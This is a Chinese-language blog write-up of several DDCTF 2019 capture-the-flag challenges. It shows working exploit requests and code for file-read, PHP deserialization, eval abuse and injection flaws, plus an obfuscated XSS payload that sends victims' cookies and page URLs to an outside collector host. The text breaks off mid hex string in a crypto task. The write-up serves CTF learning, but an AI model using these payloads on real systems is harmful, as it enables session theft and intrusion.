Learning Man's Blog

DDCTF 2019 部分 writeup

字数统计: 4.5k阅读时长: 24 min
2019/04/12

WEB

滴~

-w743

首先关注到 jpg 后面的加密值,推测应该是任意文件下载,在b64decode*2 -> hex2bin后的到flag.jpg与页面中的文件名是相同的,反过来bin2hex -> b64encode*2就可以实现文件下载了

import base64

# decrypt
sourcestr = "TmpZMlF6WXhOamN5UlRaQk56QTJOdz09"
print base64.b64decode(base64.b64decode(sourcestr)).decode('hex')

# encrypt
targetstr = 'index.php'
print base64.b64encode(base64.b64encode(targetstr.encode('hex')))

获取index.php源码,可以看到有提示csdn文章,在下面有提到practice.txt.swp这个文件

<?php
/*
 * https://blog.csdn.net/FengBanLiuYun/article/details/80616607
 * Date: July 4,2018
 */
error_reporting(E_ALL || ~E_NOTICE);


header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
 * Can you find the flag file?
 *
 */

?>

Source: practice.txt.swp

f1ag!ddctf.php

index.php!不可直接出现,在二次匹配替换中可以利用f1agconfigddctf.php -> f1ag!ddctf.php
Source: f1ag!ddctf.php

<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
    $content=trim(file_get_contents($k));
    if($uid==$content)
    {
        echo $flag;
    }
    else
    {
        echo'hello';
    }
}

?>

file_get_contents可以加载远程文件,而手上有一个现成的practice.txt.swp可以直接利用

curl http://117.51.150.246/f1ag\!ddctf.php\?uid\=f1ag\!ddctf.php\&k\=practice.txt.swp
DDCTF{436f6e67726174756c6174696f6e73}

签到题

首先绕过验证,会提示访问app/fL2XID2i0Cdh.php

Request:
POST /app/Auth.php HTTP/1.1
...
didictf_username: admin

Response:
{"errMsg":"success","data":"\u60a8\u5f53\u524d\u5f53\u524d\u6743\u9650\u4e3a\u7ba1\u7406\u5458----\u8bf7\u8bbf\u95ee:app\/fL2XID2i0Cdh.php"}

看到给的源码基本就是反序列化,但是有几点需要注意

  1. 使用md5($eancrykey.$session)签名
  2. Session.php有个可控输入nickname
  3. $path str_replace bypass
// url:app/Application.php

Class Application {
    var $path = '';


    public function response($data, $errMsg = 'success') {
        $ret = ['errMsg' => $errMsg,
            'data' => $data];
        $ret = json_encode($ret);
        header('Content-type: application/json');
        echo $ret;

    }

    public function auth() {
        $DIDICTF_ADMIN = 'admin';
        if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
            $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
            return TRUE;
        }else{
            $this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
            exit();
        }

    }
    private function sanitizepath($path) {
    $path = trim($path);
    $path=str_replace('../','',$path);
    $path=str_replace('..\\','',$path);
    return $path;
}

public function __destruct() {
    if(empty($this->path)) {
        exit();
    }else{
        $path = $this->sanitizepath($this->path);
        if(strlen($path) !== 18) {
            exit();
        }
        $this->response($data=file_get_contents($path),'Congratulations');
    }
    exit();
}
}

// url:app/Session.php

include 'Application.php';
class Session extends Application {

    //key建议为8位字符串
    var $eancrykey                  = '';
    var $cookie_expiration          = 7200;
    var $cookie_name                = 'ddctf_id';
    var $cookie_path                = '';
    var $cookie_domain              = '';
    var $cookie_secure              = FALSE;
    var $activity                   = "DiDiCTF";


    public function index()
    {
    if(parent::auth()) {
            $this->get_key();
            if($this->session_read()) {
                $data = 'DiDI Welcome you %s';
                $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
                parent::response($data,'sucess');
            }else{
                $this->session_create();
                $data = 'DiDI Welcome you';
                parent::response($data,'sucess');
            }
        }

    }

    private function get_key() {
        //eancrykey  and flag under the folder
        $this->eancrykey =  file_get_contents('../config/key.txt');
    }

    public function session_read() {
        if(empty($_COOKIE)) {
        return FALSE;
        }

        $session = $_COOKIE[$this->cookie_name];
        if(!isset($session)) {
            parent::response("session not found",'error');
            return FALSE;
        }
        $hash = substr($session,strlen($session)-32);
        $session = substr($session,0,strlen($session)-32);

        if($hash !== md5($this->eancrykey.$session)) {
            parent::response("the cookie data not match",'error');
            return FALSE;
        }
        $session = unserialize($session);


        if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
            return FALSE;
        }

        if(!empty($_POST["nickname"])) {
            $arr = array($_POST["nickname"],$this->eancrykey);
            $data = "Welcome my friend %s";
            foreach ($arr as $k => $v) {
                $data = sprintf($data,$v);
            }
            parent::response($data,"Welcome");
        }

        if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
            parent::response('the ip addree not match'.'error');
            return FALSE;
        }
        if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
            parent::response('the user agent not match','error');
            return FALSE;
        }
        return TRUE;

    }

    private function session_create() {
        $sessionid = '';
        while(strlen($sessionid) < 32) {
            $sessionid .= mt_rand(0,mt_getrandmax());
        }

        $userdata = array(
            'session_id' => md5(uniqid($sessionid,TRUE)),
            'ip_address' => $_SERVER['REMOTE_ADDR'],
            'user_agent' => $_SERVER['HTTP_USER_AGENT'],
            'user_data' => '',
        );

        $cookiedata = serialize($userdata);
        $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
        $expire = $this->cookie_expiration + time();
        setcookie(
            $this->cookie_name,
            $cookiedata,
            $expire,
            $this->cookie_path,
            $this->cookie_domain,
            $this->cookie_secure
            );

    }
}


$ddctf = new Session();
$ddctf->index();

通过格式化字符串nickname: %s我们可以将eancrykey打印出来

$arr = array($_POST["nickname"],$this->eancrykey);
    $data = "Welcome my friend %s";
    foreach ($arr as $k => $v) {
        $data = sprintf($data,$v);
    }

请求时保持header中didictf_username为admin

# Request
Header:
didictf_username: admin
Data:
nickname=KEY->%s<-KEY

# Response
{"errMsg":"Welcome","data":"Welcome my friend KEY->EzblrbNS<-KEY"}

本地替换eancrykey值后,修改Session_create,在user_data填充Application()序列化生成session

private function session_create() {
    $sessionid = '';
    while(strlen($sessionid) < 32) {
        $sessionid .= mt_rand(0,mt_getrandmax());
    }
    $c = new Application();
    $c->path = '..././config/flag.txt';
    $userdata = array(
        'session_id' => md5(uniqid($sessionid,TRUE)),
        'ip_address' => $_SERVER['REMOTE_ADDR'],
        'user_agent' => $_SERVER['HTTP_USER_AGENT'],
        'user_data' => $c,
    );

在 加密、urlencode 之后,替换 Cookie 访问即可获取 flag

didictf_username: admin
Cookie: ddctf_id=a%3a5%3a%7bs%3a10%3a%22session_id%22%3bs%3a32%3a%223e1cb65101167a670e4b8e1e16904b74%22%3bs%3a10%3a%22ip_address%22%3bs%3a14%3a%22182.148.59.162%22%3bs%3a10%3a%22user_agent%22%3bs%3a120%3a%22Mozilla%2f5.0+%28Macintosh%3b+Intel+Mac+OS+X+10_14_3%29+AppleWebKit%2f537.36+%28KHTML%2c+like+Gecko%29+Chrome%2f73.0.3683.86+Safari%2f537.36%22%3bs%3a9%3a%22user_data%22%3bO%3a11%3a%22Application%22%3a1%3a%7bs%3a4%3a%22path%22%3bs%3a21%3a%22...%2f.%2fconfig%2fflag.txt%22%3b%7d%7d86aa389d42d917a6008899bccbdc9f1e; expires=Fri, 12-Apr-2019 13:18:25 GMT; Max-Age=7200

{"errMsg":"success","data":"\u60a8\u5f53\u524d\u5f53\u524d\u6743\u9650\u4e3a\u7ba1\u7406\u5458----\u8bf7\u8bbf\u95ee:app\/fL2XID2i0Cdh.php"}{"errMsg":"Congratulations","data":"DDCTF{ddctf2019_G4uqwj6E_pHVlHIDDGdV8qA2j}"}

Upload-IMG

  1. JPG: https://rdot.org/forum/showthread.php?t=2780
  2. PNG: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
  3. PNG-2: http://www.voidcn.com/article/p-ckmksvum-qd.html

上传一张jpg图片,下载后用脚本生成payload再次上传即可

QQ20190416-100450@2x

homebrew event loop

# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'

from flask import Flask, session, request, Response
import urllib

app = Flask(__name__)
app.secret_key = '*********************' # censored
url_prefix = '/d5af31f66147e657'

def FLAG():
    return 'FLAG_is_here_but_i_wont_show_you'  # censored

def trigger_event(event):
    session['log'].append(event)
    if len(session['log']) > 5: session['log'] = session['log'][-5:]
    if type(event) == type([]):
        request.event_queue += event
    else:
        request.event_queue.append(event)

def get_mid_str(haystack, prefix, postfix=None):
    haystack = haystack[haystack.find(prefix)+len(prefix):]
    if postfix is not None:
        haystack = haystack[:haystack.find(postfix)]
    return haystack

class RollBackException: pass

def execute_event_loop():
    valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
    resp = None
    while len(request.event_queue) > 0:
        event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
        request.event_queue = request.event_queue[1:]
        if not event.startswith(('action:', 'func:')): continue
        for c in event:
            if c not in valid_event_chars: break
        else:
            is_action = event[0] == 'a'
            action = get_mid_str(event, ':', ';')
            args = get_mid_str(event, action+';').split('#')
            try:
                event_handler = eval(action + ('_handler' if is_action else '_function'))
                ret_val = event_handler(args)
            except RollBackException:
                if resp is None: resp = ''
                resp += 'ERROR! All transactions have been cancelled. <br />'
                resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
                session['num_items'] = request.prev_session['num_items']
                session['points'] = request.prev_session['points']
                break
            except Exception, e:
                if resp is None: resp = ''
                #resp += str(e) # only for debugging
                continue
            if ret_val is not None:
                if resp is None: resp = ret_val
                else: resp += ret_val
    if resp is None or resp == '': resp = ('404 NOT FOUND', 404)
    session.modified = True
    return resp

@app.route(url_prefix+'/')
def entry_point():
    querystring = urllib.unquote(request.query_string)
    request.event_queue = []
    if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
        querystring = 'action:index;False#False'
    if 'num_items' not in session:
        session['num_items'] = 0
        session['points'] = 3
        session['log'] = []
    request.prev_session = dict(session)
    trigger_event(querystring)
    return execute_event_loop()

# handlers/functions below --------------------------------------

def view_handler(args):
    page = args[0]
    html = ''
    html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points'])
    if page == 'index':
        html += '<a href="./?action:index;True%23False">View source code</a><br />'
        html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
        html += '<a href="./?action:view;reset">Reset</a><br />'
    elif page == 'shop':
        html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
    elif page == 'reset':
        del session['num_items']
        html += 'Session reset.<br />'
    html += '<a href="./?action:view;index">Go back to index.html</a><br />'
    return html

def index_handler(args):
    bool_show_source = str(args[0])
    bool_download_source = str(args[1])
    if bool_show_source == 'True':

        source = open('eventLoop.py', 'r')
        html = ''
        if bool_download_source != 'True':
            html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
            html += '<a href="./?action:view;index">Go back to index.html</a><br />'

        for line in source:
            if bool_download_source != 'True':
                html += line.replace('&','&amp;').replace('\t', '&nbsp;'*4).replace(' ','&nbsp;').replace('<', '&lt;').replace('>','&gt;').replace('\n', '<br />')
            else:
                html += line
        source.close()

        if bool_download_source == 'True':
            headers = {}
            headers['Content-Type'] = 'text/plain'
            headers['Content-Disposition'] = 'attachment; filename=serve.py'
            return Response(html, headers=headers)
        else:
            return html
    else:
        trigger_event('action:view;index')

def buy_handler(args):
    num_items = int(args[0])
    if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
    session['num_items'] += num_items 
    trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])

def consume_point_function(args):
    point_to_consume = int(args[0])
    if session['points'] < point_to_consume: raise RollBackException()
    session['points'] -= point_to_consume

def show_flag_function(args):
    flag = args[0]
    #return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
    return 'You naughty boy! ;) <br />'

def get_flag_handler(args):
    if session['num_items'] >= 5:
        trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries
    trigger_event('action:view;index')

if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0')

看到题目即考虑如何购买5个ticket然后去get_flag,这里有几个问题

  1. 购买调用buy_handler后会添加event consume_point_function,判断数目是否合法,否则回滚
  2. trigger_event 支持单项或者列表
  3. get_mid_str 可能存在利用
  4. get_flag_handler会调用show_flag_function,但后者被修复

execute_event_loop中调用get_mid_str分割调用目标和参数

action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
try:
    event_handler = eval(action + ('_handler' if is_action else '_function'))
    ret_val = event_handler(args)

但是这里注意eval会截断#,将其前面部分认为是函数名,所以就可以实现任意调用
比如: eval(buy_handler#_handler) -> eval(buy_handler)

-w730

show_flag_function无法获取flag,但在get_flag_handler中会调用FLAG()获取flag并写入到session[‘log’]中,通过解密可以获取内容

python session_decrypt.py ".eJyFyssKgkAUANBfibt2oZmIgluNIIcEHbsR4Thl2txRUHsg_nt9gNDuLM4Eqq3AP02wEuDDkcdmwb2RkRoxyjbMSj6Sp01CYV-u0wBm48_MtjsLD8HilEqGHoko1Oy1ODR2mJduwZ0H5tXiiFthyxvS-46WR5I7jYzUU9R7F-azAXqkSz1cqQffNKBraz38aM9fxaJJLg.D5nY9A.nffYf6MrdE56IBtrZK5sCqHqla8"
{u'points': 3, u'num_items': 0, u'log': ['action:index;True#False', 'action:index;True#True', 'action:get_flag;', 'action:view;index', 'action:show_flag_function#;']}

现在就需要考虑如何购买5个ticket后获取flag,如果直接购买的话,会被回滚,只有想办法在回滚前去调用get_flag_handler,既然trigger_event支持列表,有可以配合任意函数调用,那就在buy_handler后consume_point_function前直接调用get_flag_handler

Payload:

http://116.85.48.107:5002/d5af31f66147e657/?action:trigger_event%23;action:buy;5%23action:get_flag;

解密session[‘log’]可以看到flag

python session_decrypt.py ".eJyNjlFLwzAcxL-K5HkPaersUujLwBQGbXGLTfoXkWaZs1mbFbtumtHvviIoyHzw7eDufndnVO-3KHw6oxuFQlSIFJeC9pldfpZCW5CLV5BQK_tgMsKMjuujMm2l5S5IV-lb4S9bRW7vgORYEugKsQ7QMLnCNQtvwztvtK4cXWtGGxUzm52iCA3PP22weV-41igydVp4tfTnx1JMceYeoz9IFlqQ62BM7EBuv0i_Qa6Mqf_9MvELnOQzp03aazb74G5-koRlMJ7h94yvPGo4pu-J-O8Ysn3zUh02TYdCPEHtvrKHUfrDBac8cMI.D5ndPg.jHzdGR9UEiYmsnQpcjKkyNoeYt4"
{u'points': 3, u'num_items': 0, u'log': ['action:trigger_event#;action:buy;5#action:get_flag;', ['action:buy;5', 'action:get_flag;'], ['func:consume_point;5', 'action:view;index'], 'func:show_flag;3v41_3v3nt_1O0p_aNd_fLASK_cOOk1e', 'action:view;index']}

欢迎报名 DDCTF

备注xss: http://139.199.107.193/hint.php
反馈xss: http://117.51.147.2/Ze02pQYLf5gGNyMn/admin.php

利用String.fromCharcode获取页面源码,<svg>标签不能缺少

<svg><script>eval&#40String.fromCharCode&#4040,102,117,110,99,116,105,111,110,40,41,123,40,110,101,119,32,73,109,97,103,101,40,41,41,46,115,114,99,61,39,104,116,116,112,115,58,47,47,120,115,115,46,116,102,47,105,110,100,101,120,46,112,104,112,63,100,111,61,97,112,105,38,105,100,61,68,122,56,38,108,111,99,97,116,105,111,110,61,39,43,101,115,99,97,112,101,40,40,102,117,110,99,116,105,111,110,40,41,123,116,114,121,123,114,101,116,117,114,110,32,100,111,99,117,109,101,110,116,46,108,111,99,97,116,105,111,110,46,104,114,101,102,125,99,97,116,99,104,40,101,41,123,114,101,116,117,114,110,32,39,39,125,125,41,40,41,41,43,39,38,116,111,112,108,111,99,97,116,105,111,110,61,39,43,101,115,99,97,112,101,40,40,102,117,110,99,116,105,111,110,40,41,123,116,114,121,123,114,101,116,117,114,110,32,116,111,112,46,108,111,99,97,116,105,111,110,46,104,114,101,102,125,99,97,116,99,104,40,101,41,123,114,101,116,117,114,110,32,39,39,125,125,41,40,41,41,43,39,38,99,111,111,107,105,101,61,39,43,101,115,99,97,112,101,40,40,102,117,110,99,116,105,111,110,40,41,123,116,114,121,123,114,101,116,117,114,110,32,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,125,99,97,116,99,104,40,101,41,123,114,101,116,117,114,110,32,39,39,125,125,41,40,41,41,43,39,38,111,112,101,110,101,114,61,39,43,101,115,99,97,112,101,40,40,102,117,110,99,116,105,111,110,40,41,123,116,114,121,123,114,101,116,117,114,110,32,40,119,105,110,100,111,119,46,111,112,101,110,101,114,32,38,38,32,119,105,110,100,111,119,46,111,112,101,110,101,114,46,108,111,99,97,116,105,111,110,46,104,114,101,102,41,63,119,105,110,100,111,119,46,111,112,101,110,101,114,46,108,111,99,97,116,105,111,110,46,104,114,101,102,58,39,39,125,99,97,116,99,104,40,101,41,123,114,101,116,117,114,110,32,39,39,125,125,41,40,41,41,59,125,41,40,41,59,105,102,40,39,39,61,61,49,41,123,107,101,101,112,61,110,101,119,32,73,109,97,103,101,40,41,59,107,101,101,112,46,115,114,99,61,39,104,116,116,112,58,47,47,120,115,115,46,116,102,47,105,110,100,101,120,46,112,104,112,63,100,111,61,107,101,101,112,115,101,115,115,105,111,110,38,105,100,61,68,122,56,38,117,114,108,61,39,43,101,115,99,97,112,101,40,100,111,99,117,109,101,110,116,46,108,111,99,97,116,105,111,110,41,43,39,38,99,111,111,107,105,101,61,39,43,101,115,99,97,112,101,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,125,59&#41&#41</script>

后台页面源码

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <!--每隔30秒自动刷新-->
    <meta http-equiv="refresh" content="30">
    <title>DDCTF报名列表</title>
</head>

<body>
    <table align="center">
        <thead>
            <tr>
                <th>姓名</th>
                <th>昵称</th>
                <th>备注</th>
                <th>时间</th>
            </tr>
        </thead>
        <tbody>
            <!-- 列表循环展示 -->
            <tr>
                <td> <a target="_blank" href="index.php">报名</a> </td>
            </tr> <!-- <a target="_blank" href="query_aIeMu0FUoVrW0NWPHbN6z4xh.php"> 接口 </a>-->
        </tbody>
    </table>
</body>

</html>

注意到提示中的接口 query_aIeMu0FUoVrW0NWPHbN6z4xh.php

存在宽字符注入,常规操作

-w323

大吉大利,今晚吃鸡

购买时候存在整数溢出,价格为2**32 == 4294967296时就能0元购买,后面就是写脚本一直注册,一个为主,其他为敌人批量移除

chiken

Misc

真-签到题

请认真阅读第一条公告(本页面顶部导航栏中有链接)。

公告处 DDCTF{return DDCTF::get(2019)->flagOf(0);}

北京地铁

题目

Color Threshold

提示:AES ECB密钥为小写字母
提示2:密钥不足位用\0补全
提示3:不要光记得隐写不看图片本身啊…

bmp.zip

解题

  1. 先通过将rgb为0的部分提取出来,为base64字符串7SsQWmZ524i/yVWoMeAIJA==

-w358

  1. 根据提示调整颜色阈值,仅剩魏公村,猜测应该就是密码

-w789

  1. 解密即可获取flag

-w1104

MulTzor

题目

原文为英语,请破解

12ce98ec4c4d79e38bf9454a71fecafa5a196ce58fb5795771ea87f41c5a71fd82f04e5076eacae6454a6ce887b5595779ef86f058196ce58fb54b5c6bf98fe7521959e186fc594a38e484b56b566ae18eb56b586aada3dc1c4d77ad98f05d5d38fe9ff74f4d79e39efc5d5538ec87fa49576cfecafa5a1955e298e659147be28ef058196aec8efc53197be287f8495771ee8be1555676fecafa5a196ce58fb57d4171fecae5534e7dff99b5485179f9cafd5d5d38ef8ff052197de389fc4c517dff8ff11c4c6be484f21c7c76e48df85d1975ec89fd55577dfec4b5685171fecaec555c74e98ff11c5471e183e15d4b61ad83fb485c74e183f259577be8cae254507be5c6b55d5577e38db54b506ce5cae154586cad8ce7535438e29efd594b38e98ff64e4068f98ff11c7860e499b54e587ce485b55d577cad9ef0505c68ff83fb485c6aad9ee75d576be083e64f5077e399b91c4e79fecaf2554f7de3cae1545c38ee85f1595779e08fb569556cff8bbb1c6d70e499b54b586bad89fa524a71e98fe7595d38ef93b54b5c6bf98fe752194bf89ae759547dadabf950507de9cad6535475ec84f1594b38c99dfc5b516cadaebb1c7c71fe8ffb54566fe898b5485638e58be359197ae88ffb1c1b7ce889fc4f506ee8c8b5485638f982f01c7874e183f058196ee489e1534b61a3e09f68517dadaffb555e75eccaf85d5a70e484f04f196fe898f01c5838eb8bf8555561ad85f31c4977ff9ef45e557dad89fc4c517dffcaf85d5a70e484f04f196fe49efd1c4b77f985e71c4a7bff8bf85e557dff99bb1c7e77e28eb553497dff8be155577fad9ae7535a7de99fe7594a34ad9ae753497dff86ec1c5c76eb85e75f5c7ca1cae2534c74e9cafd5d4f7dad87f4585c38f982f01c4974f88df753586ae9cad052507fe08bb551587be583fb59196de388e7595873ec88f9591738c585e2594f7dffc6b551566bf9cafa5a196ce58fb57b5c6ae08bfb1c5471e183e15d4b61ad8cfa4e5a7dfec6b54f5c7bff8fe11c4a7dff9cfc5f5c6bad8bfb58197be49cfc505079e3caf45b5c76ee83f04f196ce58be11c4c6be88eb5795771ea87f41c5c75fd86fa455c7cad9afa534b38e29af04e586ce484f21c496ae289f0584c6ae899b91c5876e9cafc48196fec99b548517dfe8fb54c5677ffcae54e567be88ee04e5c6bad9efd5d4d38ec86f9534e7de9cae1545c38c884fc5b5479ad87f45f5171e38fe61c4d77ad88f01c4b7dfb8fe74f5c35e884f255577de898f0581979e38eb548517dad89fc4c517dff99b5485638ef8fb54e5c79e9c49f366d70e8cad2594b75ec84b54c556dea88fa5d4b7ca08fe4495068fd8ff11c7c76e48df85d197ae889f4515c38c38bef55195fe898f85d5761aa99b54c4b71e389fc4c5874ad89e745496ce2c7e6454a6ce887bb1c706cad9df44f197aff85fe595738ef93b548517dadbafa50506be5cad259577dff8bf91c6a6cec8cf31b4a38ce83e5545c6aada8e04e5c79f8cafc52195ce889f0515b7dffcaa4050a2aa1cae2554d70ad9efd591979e48eb5535f38cb98f0525a70a099e04c4974e48ff11c5076f98ff950507fe884f6591975ec9ef04e5079e1cafa5e4d79e484f058197eff85f81c5838ca8fe7515876ad99e5451738cccaf853576ce5caf7595f77ff8fb548517dad85e0485b6ae88bfe1c567eadbdfa4e557cadbdf44e1951c4c6b55d4d38eccaf653577ee898f0525a7dad82f0505d38e38ff44e194fec98e65d4e34ad9efd591948e286fc4f5138ce83e5545c6aada8e04e5c79f8cae654586ae88eb5554d6badaffb555e75ecc7f74e5c79e683fb5b196ce889fd525069f88fe61c5876e9cae1595a70e385f9535e61ad9dfc485138f982f01c7f6ae884f6541979e38eb57e4b71f983e6541738c99fe755577fad9efd59195fe898f85d5738e484e35d4a71e284b5535f38dd85f95d577ca1caf6534b7dadbafa50506be5cad6554970e898b57e4c6ae88be01c497dff99fa52577de1cae2594b7dad8fe35d5a6dec9ef0581538fb83f41c6b77e08bfb555834ad9efa1c7f6aec84f659196fe58fe759196ce58fec1c5c6bf98bf750506be58ff11c4d70e8cac57f195aff9ffb53196be48dfb5d556bad83fb485c74e183f259577be8cae648586ce485fb1c4e71f982b57a4b7de389fd1c5f79ee83f9554d71e899b54f4c68fd85e7481738de9ff65f5c6bfe8ce050197be285e5594b79f983fa521979e085fb5b196ce58fb56c5674e899b91c4d70e8cad34e5c76ee82b91c5876e9cae1545c38cf98fc48506be5caf448195ae18fe15f5174e893b56c586ae6caf653576ce484e0595d38f884e1555538c79ffb591929b4dea510196fe58ffb1c7f6aec84f659196bf898e759577ce898f058196ce2cae1545c38ca8fe7515876fec49f367f6ae287b5485171fecaf7595e71e384fc525e34ad9efd59195aff83e1554a70adadfa4a5c6ae387f0524d38ce85f1591979e38eb57f4068e58fe71c6a7be585fa501930caa9b37f6a31ad8be11c7b74e89ef654557df4cac55d4b73ad88e055556cad9fe51c5876ad8fed485c76fe83e359197bff93e5485876ec86ec48507bad89f44c587ae486fc484036ada3fb554d71ec86f9451538f982f01c5d7dee98ec4c4d71e284b54b586bad87f4555774f4cafa5a1954f88ce14b587eeb8fb5147e7dff87f4521979e498b55a566aee8fbc1c5876e9caf41c5f7dfacadd595c6aadc2d2594b75ec84b55d4b75f4c3b5515c6bfe8bf2594a34ad8be61c4d70e8cade4e507dea99f85d4b71e38fb5147e7dff87f4521976ec9cec15197de09af953407de9caf8495a70ad87fa4e5c38fe8ff6494b7dad9ae7535a7de99fe7594a38eb85e71c4c6be484f21c7c76e48df85d1738cc86f452194cf898fc525e34ad8bb57f5875ef98fc585e7dadbffb554f7dff99fc484038e08be1545c75ec9efc5f5079e3caf4525d38e185f2555a71ec84b91c496ae29cfc585c7cad87e05f5138e28cb548517dad85e7555e71e38bf91c4d70e484fe55577fad9efd5d4d38e18ff11c4d77ad9efd59197ce899fc5b5738e28cb548517dad89e745496cec84f450406ce489f450197ae287f7591975ec89fd55577dfecae154586cad9df04e5c38e484e6484b6de08ffb485874ad83fb1c5c6ee884e1495874e193b55e4b7dec81fc525e38f982f01c5779fb8bf91c7c76e48df85d1738c585e2594f7dffc6b548517dada1e7555c7ffe87f44e5076e8cafc524d6ae28ee05f5c7cad8bfb1c7c76e48df85d196ee898e6555676ad9dfc485138eccaf3534c6af982b54e566ce298b55a566aad83e14f194da088fa5d4d6ba1cae7594a6de19efc525e38e484b55d1968ff85f953577fe88eb54c5c6ae485f11c4e70e884b548517dfe8fb5515c6bfe8bf2594a38ee85e0505d38e385e11c5b7dad8ef05f4b61fd9ef0581738da83e154196ce58fb55f5868f99fe7591977ebcae759557dfb8bfb48197be49afd594b38e68fec4f1979e38eb548517dad9fe6591977ebcaf8495a70ad8cf44f4d7dffcac06f1956ec9cec1c5b77e088f04f1538ff8ff2495579ffc6b54e5868e48eb54e5c79e983fb5b1977ebcac0115b77ec9eb5515c6bfe8bf2594a38ff8fe649547de9c49f366d70e8caf350587fad83e606195cc9a9c17a427ab88ca1055c2abcdaa30a0b2bbddbf45f097ebb8ca65d0f2dbfdca40c0f7ebc97

解题

https://ehsandev.com/pico2014/cryptography/repeated_xor.html

cc="12ce98ec4c4d79e38bf9454a71fecafa5a196ce58fb5795771ea87f41c5a71fd82f04e5076eacae6454a6ce887b5595779ef86f058196ce58fb54b5c6bf98fe7521959e186fc594a38e484b56b566ae18eb56b586aada3dc1c4d77ad98f05d5d38fe9ff74f4d79e39efc5d5538ec87fa49576cfecafa5a1955e298e659147be28ef058196aec8efc53197be287f8495771ee8be1555676fecafa5a196ce58fb57d4171fecae5534e7dff99b5485179f9cafd5d5d38ef8ff052197de389fc4c517dff8ff11c4c6be484f21c7c76e48df85d1975ec89fd55577dfec4b5685171fecaec555c74e98ff11c5471e183e15d4b61ad83fb485c74e183f259577be8cae254507be5c6b55d5577e38db54b506ce5cae154586cad8ce7535438e29efd594b38e98ff64e4068f98ff11c7860e499b54e587ce485b55d577cad9ef0505c68ff83fb485c6aad9ee75d576be083e64f5077e399b91c4e79fecaf2554f7de3cae1545c38ee85f1595779e08fb569556cff8bbb1c6d70e499b54b586bad89fa524a71e98fe7595d38ef93b54b5c6bf98fe752194bf89ae759547dadabf950507de9cad6535475ec84f1594b38c99dfc5b516cadaebb1c7c71fe8ffb54566fe898b5485638e58be359197ae88ffb1c1b7ce889fc4f506ee8c8b5485638f982f01c7874e183f058196ee489e1534b61a3e09f68517dadaffb555e75eccaf85d5a70e484f04f196fe898f01c5838eb8bf8555561ad85f31c4977ff9ef45e557dad89fc4c517dffcaf85d5a70e484f04f196fe49efd1c4b77f985e71c4a7bff8bf85e557dff99bb1c7e77e28eb553497dff8be155577fad9ae7535a7de99fe7594a34ad9ae753497dff86ec1c5c76eb85e75f5c7ca1cae2534c74e9cafd5d4f7dad87f4585c38f982f01c4974f88df753586ae9cad052507fe08bb551587be583fb59196de388e7595873ec88f9591738c585e2594f7dffc6b551566bf9cafa5a196ce58fb57b5c6ae08bfb1c5471e183e15d4b61ad8cfa4e5a7dfec6b54f5c7bff8fe11c4a7dff9cfc5f5c6bad8bfb58197be49cfc505079e3caf45b5c76ee83f04f196ce58be11c4c6be88eb5795771ea87f41c5c75fd86fa455c7cad9afa534b38e29af04e586ce484f21c496ae289f0584c6ae899b91c5876e9cafc48196fec99b548517dfe8fb54c5677ffcae54e567be88ee04e5c6bad9efd5d4d38ec86f9534e7de9cae1545c38c884fc5b5479ad87f45f5171e38fe61c4d77ad88f01c4b7dfb8fe74f5c35e884f255577de898f0581979e38eb548517dad89fc4c517dff99b5485638ef8fb54e5c79e9c49f366d70e8cad2594b75ec84b54c556dea88fa5d4b7ca08fe4495068fd8ff11c7c76e48df85d197ae889f4515c38c38bef55195fe898f85d5761aa99b54c4b71e389fc4c5874ad89e745496ce2c7e6454a6ce887bb1c706cad9df44f197aff85fe595738ef93b548517dadbafa50506be5cad259577dff8bf91c6a6cec8cf31b4a38ce83e5545c6aada8e04e5c79f8cafc52195ce889f0515b7dffcaa4050a2aa1cae2554d70ad9efd591979e48eb5535f38cb98f0525a70a099e04c4974e48ff11c5076f98ff950507fe884f6591975ec9ef04e5079e1cafa5e4d79e484f058197eff85f81c5838ca8fe7515876ad99e5451738cccaf853576ce5caf7595f77ff8fb548517dad85e0485b6ae88bfe1c567eadbdfa4e557cadbdf44e1951c4c6b55d4d38eccaf653577ee898f0525a7dad82f0505d38e38ff44e194fec98e65d4e34ad9efd591948e286fc4f5138ce83e5545c6aada8e04e5c79f8cae654586ae88eb5554d6badaffb555e75ecc7f74e5c79e683fb5b196ce889fd525069f88fe61c